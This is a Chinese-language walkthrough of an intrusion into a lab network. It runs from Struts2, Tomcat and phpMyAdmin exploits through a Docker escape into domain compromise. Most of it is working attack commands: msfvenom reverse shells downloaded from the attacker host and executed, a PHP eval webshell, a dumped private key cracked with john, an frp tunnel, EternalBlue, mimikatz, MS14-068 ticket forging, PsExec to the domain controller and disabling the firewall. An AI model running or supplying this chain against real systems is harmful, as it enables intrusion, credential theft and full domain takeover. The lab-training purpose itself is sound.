机器密码
- ubuntu:ubuntu
- douser:Dotest123
- administrator:Test2008 -> Harvey@2022
配置
web
192.168.205.130 192.168.150.132
win7
192.168.205.128
DC
192.168.205.131
kali攻击机
192.168.150.128
准备工作
将web靶机和kali攻击机的网络适配器设为NAT;将web、win7、DC靶机的网络适配器设为自定义(VMnet1)
然后web靶机启动环境
1
| sudo docker start ec 17 09 bb da 3d ab ad
|

信息收集
扫描一下存活主机和端口,发现开放了22、2001、2002、2003端口

其中2001端口存在Struts2中间件

2002端口存在Apache Tomcat中间件

2003端口存在Apache、PHPmyadmin、mysql,不需要密码就可以进入phpmyadmin后台

漏洞利用
这三个都可以漏洞利用实现getshell
首先通过Struts2漏洞检查工具进行检测和利用


接着利用漏洞上传msf马
1 2
| # 生成msf马 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f jsp > shell.jsp
|


msf启动监听
1 2 3 4 5
| use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.150.128 exploit 访问马
|

然后是Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

接着是phpmyadmin 4.8.1 远程文件包含漏洞
1
| /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
|

1 2 3 4
| # 插入一句话木马 select '<?php file_put_contents("shell.php", "<?php @eval(\$_POST[1]);?>");?>'; # 命令go后F12查看phpMyAdmin的value值 /index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_31894eca7b1c7143dad90cd068b167a1
|



docker逃逸
由于不是完整的shell,这里我们使用pyhton中的pty模块反弹一个完整的shell环境
1
| python -c 'import pty; pty.spawn("/bin/bash")'
|
进入后进行信息收集

判断是否为docker环境
1 2 3 4 5
| # 查看.dockerenv 文件,查询系统进程的cgroup信息 # 判断根目录下是否存在 .dockerenv 文件 ls -alh /.dockerenv # 查看系统的cgroup系统,看是否有docker字样 cat /proc/1/cgroup
|

发现为docker环境,于是想到docker逃逸
先尝试一下利用dirty cow来进行docker逃逸,这种利用方法利用成功的前提是宿主机的内核有dirty cow漏洞
1 2 3
| git clone https://github.com/scumjr/dirtycow-vdso.git cd dirtycow-vdso make
|

在目标主机上无法进行make编译,所以我们只能在攻击机kali上编译之后再起个web服务

反弹shell到指定主机的指定端口,但是利用失败了,说明不存在dirtycow漏洞
1 2 3
| wget http://192.168.150.128/0xdeadbeef chmod +x 0xdeadbeef ./0xdeadbeef 192.168.150.128 4444
|

于是换个方式进行docker逃逸,利用特权模式进行逃逸
管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限
1 2 3 4 5 6
| # 查看磁盘文件(Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用) fdisk -l # 创建一个文件夹,将宿主机根目录挂载至容器目录下 cd /test mkdir /test mount /dev/sda1 /test
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| # 将id_rsa复制下来 cd home/ubuntu/.ssh cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2 OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC R+yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM FhfmQJ6suEXx+AAhoK+Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL 3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/ XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i+hqwk1MNukZKp+2+48m6fb/AMjG4mjnQ QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz JPoUtXJSkZX5l7hxfoGse+268+qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB bGuh+1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH 6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI /AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u+RescgJKJ7RTLcLiqy08Q Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj+uSM50okPGN+9fNemDzITfW Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt+T 55txs6Plcys+GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm+ZWOR+P3zHLPRyTGhm8Y JHr0aGgIbJ4Qm+JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1 l6Ki1V/Uj+rLq3IqLi4anxVZ15EK+xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3 fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8 a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8 -----END RSA PRIVATE KEY-----
|

1 2 3 4 5 6 7
| vim id_rsa # 将其复制进来保存退出 /usr/share/john/ssh2john.py /root/id_rsa > hash john --wordlist=/usr/share/wordlists/rockyou.txt hash # 得到密码ubuntu # 如果破解不出来,就直接本地xshell生成一个新的公钥,后把你的公钥放进id_rsa文件里面,利用私钥连 ssh ubuntu@192.168.150.132
|

切换为root

通过msf生成shell马并起个web服务
1 2
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.133 LPORT=4444 -f elf > shell1.elf python -m http.server 80
|

上传至ubuntu并运行
1 2 3
| wget http://192.168.150.133/shell1.elf chmod 777 shell1.elf ./shell1.elf
|
msf启动监听
1 2 3 4
| use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.150.133 run
|

内网渗透
信息收集一下基本确定205是内网段了

接着上传fscan
1 2 3
| wget http://192.168.150.133/fscan chmod +x fscan ./fscan -h 192.168.205.0/24
|

关键信息如下
1 2 3 4 5 6 7
| # 如果没打MS14-068的补丁就可以打一下 192.168.205.131:88 open [*] WebTitle: http://192.168.205.1 code:200 len:2307 title:站点创建成功-phpstudy for windows [*] NetBios: 192.168.205.131 [+]DC WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1 [+] 192.168.205.128 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1) [+] 192.168.205.131 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
|
接着通过frp建立代理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| wget http://192.168.150.133/frp.tar.gz tar -zxvf frp.tar.gz chmod +x frp_0.45.0_linux_amd64 cd frp_0.45.0_linux_amd64 vim frpc.ini # 修改如下 [common] server_addr = 192.168.150.133 server_port = 7000 [socks_proxy] type = tcp remote_port = 8989 plugin = socks5 # 运行 ./frpc -c ./frpc.ini &
|


curl一下进行测试

接着就可以通过msf使用永恒之蓝进行攻击了
1 2 3 4
| setg proxies socks5:127.0.0.1:12345 set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.205.128 run
|

这里可能需要等待一会

用猕猴桃抓一下这台win7的密码,得到密码:Dotest123

然后可以进shell查看一些信息


sid需要我们先登录到域用户,迁移到域权限的一个进程上去

从而得到sid:S-1-5-21-979886063-1111900045-1414766810-1107

接着通过注册表开启3389,我们通过远程桌面来打MS14-068
1
| REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
|

但是这里我们直接登录是不行的

于是我们需要先把它换成工作组,但是需要重启比较麻烦,这里就直接通过修改管理员密码并激活
1 2
| net user administrator Admin1234 net user administrator /active:yes
|


不过远程桌面可能也会有些小问题

接着修改一下dns,然后ping一下demo.com

然后就可以通过工具直接打
1 2
| # 生成票据:MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码 MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.205.131
|

再通过猕猴桃进行导入
1 2 3 4 5 6
| mimikatz.exe # ptc导入前面生成的文件 kerberos::ptc TGT_douser@demo.com.ccache # 得到票据 kerberos::list exit
|

接着再访问一下域控,并尝试访问它的C盘
1 2 3
| klist net view dir \\WIN-ENS2VR5TR3N\C$
|

然后用psexec64来获取目标的shell
1
| PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd
|

根据前面fscan扫到的可以再来打一下永恒之蓝

但是失败了,猜测开有防火墙,于是用下面这个命令关闭防火墙
1
| netsh advfirewall set allprofiles state off
|

最后就可以成功打进去了
